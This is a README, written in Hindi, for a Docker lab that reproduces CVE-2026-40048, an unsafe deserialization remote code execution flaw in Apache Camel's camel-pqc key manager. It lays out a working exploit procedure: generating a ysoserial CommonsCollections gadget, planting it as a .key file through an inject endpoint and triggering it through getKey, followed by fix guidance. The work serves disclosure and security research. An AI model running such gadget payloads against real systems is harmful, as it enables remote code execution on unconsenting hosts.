
CVE-2026-40048 के लिए रिप्रोड्यूसर: Apache Camel camel-pqc FileBasedKeyLifecycleManager असुरक्षित डिसीरियलाइज़ेशन (RCE)
यह प्रोजेक्ट Apache Camel के camel-pqc घटक में एक Java डिसीरियलाइज़ेशन भेद्यता प्रदर्शित करता है, जिसे CVE-2026-40048 के रूप में ट्रैक किया जाता है। FileBasedKeyLifecycleManager कॉन्फ़िगर की गई कुंजी निर्देशिका से <keyId>.key फ़ाइलों को एक कच्चे ObjectInputStream और बिना किसी ObjectInputFilter के पढ़ता है, इसलिए एक हमलावर जो उस निर्देशिका में लिख सकता है, दूरस्थ कोड निष्पादन प्राप्त कर सकता है।
सलाहकार सूचना: https://camel.apache.org/security/CVE-2026-40048.html
| गुण | मान |
|---|
| घटक | camel-pqc |
| प्रभावित वर्ग | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन |
| प्रभाव | दूरस्थ कोड निष्पादन (RCE) |
| प्रभावित संस्करण | 4.18.0 से 4.18.2 से पहले, और 4.19.0 से 4.20.0 से पहले |
| निश्चित संस्करण | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| रिपोर्टर | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager पोस्ट-क्वांटम कुंजियों को <keyDir>/<keyId>.key में क्रमबद्ध Java ऑब्जेक्ट्स के रूप में संग्रहीत करता है। कुंजी लोड करने पर उस फ़ाइल को एक कच्चे ObjectInputStream के साथ डिसीरियलाइज़ किया जाता है, और KeyPair में कास्ट केवल readObject() के वापस लौटने के बाद होता है:
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
एक हमलावर जो कुंजी निर्देशिका में लिख सकता है — पथ ट्रावर्सल, गलत कॉन्फ़िगर की गई वॉल्यूम अनुमतियाँ, एक समझौता की गई कुंजी-प्रावधान पाइपलाइन, या एक सिमलिंक हमले के माध्यम से — एक तैयार क्रमबद्ध ऑब्जेक्ट रख सकता है जो सामान्य कुंजी-जीवनचक्र लोड के दौरान निष्पादित होता है।
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.key के रूप में रोपेंcurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() को सामान्य कुंजी-जीवनचक्र संचालन (हस्ताक्षर/सत्यापन कुंजी पुनर्प्राप्ति, रोटेशन जाँच, आदि) के दौरान कॉल किया जाता है, इसलिए हमलावर द्वारा रोपित <keyId>.key का कोई भी लोड डिसीरियलाइज़ेशन ट्रिगर करता है।
FileBasedKeyLifecycleManager द्वारा उपयोग की जाने वाली कुंजी निर्देशिका में लिखने की पहुँच (साझा/गलत कॉन्फ़िगर वॉल्यूम, पथ ट्रावर्सल, समझौता प्रावधान, सिमलिंक)।commons-collections:3.2.1)।ObjectInputStream-इन-की-स्टोर पैटर्न को बाद में अधिक व्यापक रूप से संबोधित किया गया था:
4.18.2 / 4.20.0 में अपग्रेड करें। फिक्स ObjectInputStream-आधारित भंडारण को मानक PKCS#8 (निजी कुंजी) / X.509 SubjectPublicKeyInfo (सार्वजनिक कुंजी) Base64 JSON एन्कोडिंग से बदल देता है।
अपग्रेड करने तक:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से खुलासा और निश्चित भेद्यता के लिए। इसका उपयोग स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न करें।